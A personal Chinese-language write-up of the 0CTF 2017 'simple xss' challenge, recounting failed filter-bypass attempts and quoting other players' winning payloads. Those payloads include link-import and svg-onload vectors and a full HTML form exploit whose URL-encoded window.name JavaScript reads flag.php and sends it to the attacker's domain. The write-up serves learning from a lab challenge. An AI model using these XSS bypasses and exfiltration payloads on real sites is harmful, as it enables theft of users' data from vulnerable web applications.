第一次参加ctf…真的是好醉…我xss做的本来就少,基础知识不牢做起来真的抓耳挠腮的..
感觉这道题感觉满满的坑点, 还都让我踩到了, 说一下血泪史吧
第一个simple xss
首先看了一下题目要求, 是让直接同目录下的获取flag.php的内容就行了(直接试了试伪造IP, 嗯…是我天真了)
一开始还觉得跟simplesqlin一样是个送分题, 简直比起complicated xss省事多了啊
然后又看到题目中说的加了一些过滤, 需要绕过
所以说本题的难点就在于bypass了对吧~.~
先去试了一下过滤程度…数字字母全没过滤, 符号基本过滤完了..最后能用的符号就有这些:
~|_^\=<-+*
= =好少,想想怎么构造payload吧..
最简单的直接引 script?
<script src=xss
额,直接写网址肯定不行, 因为过滤了/ 符号, 网址中没有 // 默认会在当前域名下打开不让用 点 号
试一下二次url编码? 不行 百分号过滤了
base64…也不行,逗号分号都过滤了
然后再看看js函数,试着各种拼接一下, 括号被过滤…嗯没关系 用\+进制编码表示…特喵的括号也过滤了
好吧 一定有什么其他的方法…..于是google xss bypass, 还真挺多….owasp里有一个挺全的cheat sheet, 我找到两个能用得上的bypass
过滤 // 的情况下, 使用 \\ bypass:Protocol resolution bypass
过滤 . 的情况下, 使用dword bypass: Dword encoding
现学现用, 将我的ip转换了一下 得到的(伪)结果是: 110110110
然后抱着试试看的心理去试了一下
<script src=\\110110110
发现怎么也不执行= = 连报错提示都没有, 然后我本地试了一下原因
知道真相的我眼泪流下来
原来chrome下script标签不闭合是不会被执行的啊!!!
嗯….常识 我不懂= =
那就…接着换套路呗
换成iframe试一试
<iframe src=\\110110110
嚯~这次出报错了
Not allowed to load local resource: file://6.144.37.158/
嗯…是file协议啊…….说好的https呢..
而且Not allowed是怎么回事…
搜了一下, 说是chrome会默认阻止file跨站请求
到这里我感觉到了我全身在僵硬.
从该题有解的情况下来看, 我感觉在禁了大部分符号的情况下要构造其他域名的URL就只能用\\开头了
还有就是在点号被禁了的情况下用dword encoding应该也是对的吧
实在没头绪.我还是决定作死一试, 直接提交payload
<iframe src=\\110110110
登录我的服务器, nc 听一下443端口, 看看能收到什么信息
不一会儿, 服务器真的收到了数据, 不过大多是乱码, 其中意思明确的字符只有
HTTP/1.1up
我以为是什么hint, 最后发现是http header upgrade
看来收到的数据真的没什么用, 不过我发现了一个事情, 那就是我本机报错的代码在服务器上可以运行, 也就是说服务器执行那个iframe的时候没有出现:
Not allowed to load local resource: file://6.144.37.158/
但是我当时并不知道为什么= =一开始以为是0ops故意留得漏洞 = = 这就让我更坚信了用\\没错
但是用\\来表示当前域的话会默认继承协议, 也就是https, 我的网站没有证书肯定访问不了, 所以又去弄了个脚本一键签证书
然后我又想到了一件事, 我之前再用浏览器时不小心把句号当成点输入过网站, 比如: lzskyline。com, 浏览器是会自动转换的….也就是说我的网址不需要用dword表示了…但是好像并没有进一步解决问题
思来想去 在过滤了大部分符号的情况下, 又不能用script标签导入js, iframe或者img的src都没法执行脚本, 只能get请求一下我的网站,这样没法跨域flag没法传过来,这题cookie也没啥用
于是我去翻了翻html标签手册,想从中找到一些能执行脚本的新玩意,然而手册里只是简单介绍了一下每个标签, 一些属性并没有具体说明是做什么的, 导致我错过了最后的机会
看了看时间, 凌晨了…明天周一还要上课….这题最终还是放弃了= =
===================================================
时间如流水一般, 比赛结束的当天就有大佬写了writeup,看到答案的我眼泪流下来
===================================================
看了答案之后, 一些迷迷糊糊的地方豁然开朗了…不得不说 虽然这次比赛有遗憾, 但是真的能学到知识
首先是这句话:
这里需要注意的是href的值,其中是
\\
,而不是//
,html标签中可用//
替代http://
,但是这里为啥可用\\
,因为\\
在windows下会是file协议,在linux下才会是当前域的协议
我知道了为什么我本地测试一直不能通过的原因
然后看了看他们的payload:
既然可以使用 \,那就意味着可以 import一个 url, import 非常好用,在能够使用的情况下比起 iframe 的好处是没有跨域的问题,因为 import 相当于把另一个网页 include 进了当前域。
于是来了个 payload:
<link rel=import href=\\ip2long
知识就是硬伤! 我第一次知道了这玩意是干嘛用的= =
有时候你离成功就差一个知识点!!!
再来看另一个大佬的payload:
<svg id=\ onload=location=id+id+12345609861+domain+id+1234+id
<html>
<body>
<form id=”send” action=”https://router.vip/preview.php?” method=”POST”>
<input type=”hidden” name=”payload” value=”<svg onload=location=name” />
<input type=”submit” value=”Submit request” />
</form>
<script>
window.name =”javascript:%76%61%72%20%78%68%72%20%3d%20%6e%65%77%20%58%4d%4c%48%74%74%70%52%65%71%75%65%73%74%28%29%3b%0a%78%68%72%2e%6f%70%65%6e%28%27%47%45%54%27%2c%20%27%68%74%74%70%73%3a%2f%2f%72%6f%75%74%65%72%2e%76%69%70%2f%66%6c%61%67%2e%70%68%70%27%2c%20%66%61%6c%73%65%29%3b%0a%78%68%72%2e%73%65%6e%64%28%29%3b%0a%69%66%20%28%78%68%72%2e%73%74%61%74%75%73%20%3d%3d%20%32%30%30%29%20%7b%0a%20%20%6c%6f%63%61%74%69%6f%6e%3d%27%68%74%74%70%73%3a%2f%2f%31%32%33%34%35%36%30%39%38%36%31%72%6f%75%74%65%72%2e%76%69%70%2f%31%32%33%34%2f%3f%72%65%73%75%6c%74%3d%27%2b%78%68%72%2e%72%65%73%70%6f%6e%73%65%54%65%78%74%3b%0a%7d”;
document.getElementById(“send”).submit();
</script>
</body>
</html>
(
PS:这里我省略了部分提交预览时用不到的input标签
PSS:为了这个题去买一个域名真的够拼的….
)
看到了这个payload我才知道恍然大悟的发现好多东西不需要点号就能表示…
location = location.href = window.location.href
id = this.id 包含 this.getAttribute(‘id’)
这种不正经的表达方式估计很多教程都不会提及吧….
还有这个用window.name传xss绕检测的方法….
真的是学到了…
在complicated xss中恢复沙盒的方法也值得记录一下:
//https://segmentfault.com/q/1010000007477941
function fix() {
var iframe = document.createElement(‘iframe’);
iframe.src = ‘about:blank’;
document.body.appendChild(iframe);
window.XMLHttpRequest = iframe.contentWindow.XMLHttpRequest;
}
fix();
最后附上大佬们的连接:
http://www.cnblogs.com/iamstudy/articles/0ctf_2017_web_writeup.html
https://docs.google.com/document/d/1r_iqxVc7__WcHrecouUTcwm-lGs0gIOls_nto-LARpo/mobilebasic